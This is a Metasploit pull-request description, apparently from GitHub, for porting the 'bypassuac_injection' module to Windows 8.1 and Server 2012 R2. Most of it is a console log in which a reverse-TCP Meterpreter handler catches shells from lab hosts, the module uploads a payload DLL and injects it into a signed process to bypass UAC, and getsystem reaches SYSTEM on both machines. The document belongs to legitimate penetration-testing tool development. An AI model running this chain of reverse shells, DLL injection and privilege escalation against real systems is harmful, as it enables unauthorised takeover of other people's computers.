rapid7/metasploit-framework — pull request #4301 by Lesage (2014-12-03 00:00:37+00:00)
Title: Adapt the Windows Escalate UAC Protection Bypass (In Memory Injection)

fonctionality of the metasploit post module bypassuac_injection.rb
for successfully escalate privilege from local admin user to
SYSTEM on Win8.1 and Win2012 R2.

Thanks to Stephen Fewer for the Reflective DLL injection work
Thanks to The Rapid 7 Team and All the Community offering and delivering
metasploit
Thanks to jo! for his help to git, thanks dude!

This feature is developed by Loic VALBON
from Provadys (www.provadys.com) and the CheckMates Team!

$ sudo ./msfconsole -y /home/lesage/.msf4/database.yaml
[sudo] password for lesage:
[*] Starting the Metasploit Framework console.../

______________________________________________________________________________
|
|
| 3Kom SuperHack II Logon
|
|______________________________________________________________________________|
|
|
|
|
|
|
| User Name: [ security ]
|
|
|
| Password: [ ]
|
|
|
|
|
|
|
| [ OK ]
|
|______________________________________________________________________________|
|
|
|
http://metasploit.pro |
|______________________________________________________________________________|

=[ metasploit v4.10.1-dev [core:4.10.1.pre.dev api:1.0.0]]
+ -- --=[ 1375 exploits - 767 auxiliary - 221 post ]
+ -- --=[ 342 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh,
thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(handler) > set LHOST 192.168.34.1
LHOST => 192.168.34.1
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] Starting the payload handler...
[*] Sending stage (972288 bytes) to 192.168.34.140
[*] Meterpreter session 1 opened (192.168.34.1:4444 ->
192.168.34.140:49215) at 2014-12-02 22:42:30 +0100

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > set AutoRunScript "migrate -n explorer.exe"
AutoRunScript => migrate -n explorer.exe
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.34.140 - Meterpreter session 1 closed. Reason: User exit
msf exploit(handler) > set AutoRunScript "migrate -n explorer.exe"
AutoRunScript => migrate -n explorer.exe
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] Starting the payload handler...
[*] Sending stage (972288 bytes) to 192.168.34.140
[*] Meterpreter session 2 opened (192.168.34.1:4444 ->
192.168.34.140:49220) at 2014-12-02 22:44:29 +0100

meterpreter >
[*] Session ID 2 (192.168.34.1:4444 -> 192.168.34.140:49220) processing
AutoRunScript 'migrate -n explorer.exe'
[*] Current server process: t.exe (832)
[+] Migrating to 1424
[+] Successfully migrated to process

meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > search bypassuac_injection

Matching Modules
================

Name Disclosure Date Rank
Description
---- --------------- ----
-----------
exploit/windows/local/bypassuac_injection 2010-12-31 excellent
Windows Escalate UAC Protection Bypass (In Memory Injection)

msf exploit(handler) > use exploit/windows/local/bypassuac_injection
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module
on.

Exploit target:

Id Name
-- ----
0 Windows x86

msf exploit(bypassuac_injection) > set SESSION 2
SESSION => 2
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module
on.

Exploit target:

Id Name
-- ----
0 Windows x86

msf exploit(bypassuac_injection) > set target 1
target => 1
msf exploit(bypassuac_injection) > set payload
windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module
on.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh,
thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
1 Windows x64

msf exploit(bypassuac_injection) > set LHOST 192.168.34.1
LHOST => 192.168.34.1
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module
on.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh,
thread, process, none)
LHOST 192.168.34.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
1 Windows x64

msf exploit(bypassuac_injection) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject
into...
[-] Failed to Inject Payload to 2224!
msf exploit(bypassuac_injection) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject
into...
[+] Successfully injected payload in to process: 3868
[*] Sending stage (972288 bytes) to 192.168.34.140
[*] Meterpreter session 3 opened (192.168.34.1:4444 ->
192.168.34.140:49223) at 2014-12-02 22:47:03 +0100

meterpreter > background
[*] Backgrounding session 3...
msf exploit(bypassuac_injection) > sessions -l

Active sessions
===============

Id Type Information
Connection
-- ---- -----------
----------
2 meterpreter x64/win64 WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49220 (192.168.34.140)
3 meterpreter x64/win64 WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49223 (192.168.34.140)

msf exploit(bypassuac_injection) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer : WIN-OI6R8N7TQPQ
OS : Windows 8.1 (Build 9600).
Architecture : x64
System Language : fr_FR
Meterpreter : x64/win64
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: $U$AUTORITE
NT\Systme-0x4155544f52495445204e545c53797374e86d65
meterpreter > background
[*] Backgrounding session 3...

-----------------------------------
| Windows Bypass on Windows 2012 R2 |
-----------------------------------

msf exploit(bypassuac_injection) > previous
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh,
thread, process, none)
LHOST 192.168.34.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] Starting the payload handler...
[*] Sending stage (972288 bytes) to 192.168.34.129
[*] Meterpreter session 4 opened (192.168.34.1:4444 ->
192.168.34.129:49158) at 2014-12-02 22:50:20 +0100

[*] Session ID 4 (192.168.34.1:4444 -> 192.168.34.129:49158) processing
AutoRunScript 'migrate -n explorer.exe'
meterpreter > [*] Current server process: t.exe (2264)
[+] Migrating to 1996
[+] Successfully migrated to process

meterpreter > sysinfo
Computer : WIN-00LQMI1LO88
OS : Windows 2012 R2 (Build 9600).
Architecture : x64
System Language : fr_FR
Meterpreter : x64/win64
meterpreter > background
[*] Backgrounding session 4...
msf exploit(handler) > previous
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module
on.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh,
thread, process, none)
LHOST 192.168.34.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
1 Windows x64

msf exploit(bypassuac_injection) > set SESSION 4
SESSION => 4
msf exploit(bypassuac_injection) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[-] Exploit failed: Rex::TimeoutError Operation timed out.
msf exploit(bypassuac_injection) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : WIN-00LQMI1LO88
OS : Windows 2012 R2 (Build 9600).
Architecture : x64
System Language : fr_FR
Meterpreter : x64/win64
meterpreter > background
[*] Backgrounding session 4...
msf exploit(bypassuac_injection) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject
into...
[+] Successfully injected payload in to process: 2052
[*] Sending stage (972288 bytes) to 192.168.34.129
[*] Meterpreter session 5 opened (192.168.34.1:4444 ->
192.168.34.129:49159) at 2014-12-02 22:52:21 +0100

meterpreter > background
[*] Backgrounding session 5...
msf exploit(bypassuac_injection) > sessions -l

Active sessions
===============

Id Type Information
Connection
-- ---- -----------
----------
2 meterpreter x64/win64 WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49220 (192.168.34.140)
3 meterpreter x64/win64 WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49223 (192.168.34.140)
4 meterpreter x64/win64 WIN-00LQMI1LO88\lesage @ WIN-00LQMI1LO88
192.168.34.1:4444 -> 192.168.34.129:49158 (192.168.34.129)
5 meterpreter x64/win64 WIN-00LQMI1LO88\lesage @ WIN-00LQMI1LO88
192.168.34.1:4444 -> 192.168.34.129:49159 (192.168.34.129)

msf exploit(bypassuac_injection) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer : WIN-00LQMI1LO88
OS : Windows 2012 R2 (Build 9600).
Architecture : x64
System Language : fr_FR
Meterpreter : x64/win64
meterpreter > getuid
Server username: WIN-00LQMI1LO88\lesage
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: $U$AUTORITE
NT\Systme-0x4155544f52495445204e545c53797374e86d65
meterpreter > background
[*] Backgrounding session 5...
msf exploit(bypassuac_injection) > sessions -l

Active sessions
===============

Id Type Information
Connection
-- ---- -----------
----------
2 meterpreter x64/win64 WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49220 (192.168.34.140)
3 meterpreter x64/win64 WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49223 (192.168.34.140)
4 meterpreter x64/win64 WIN-00LQMI1LO88\lesage @ WIN-00LQMI1LO88
192.168.34.1:4444 -> 192.168.34.129:49158 (192.168.34.129)
5 meterpreter x64/win64 WIN-00LQMI1LO88\lesage @ WIN-00LQMI1LO88
192.168.34.1:4444 -> 192.168.34.129:49159 (192.168.34.129)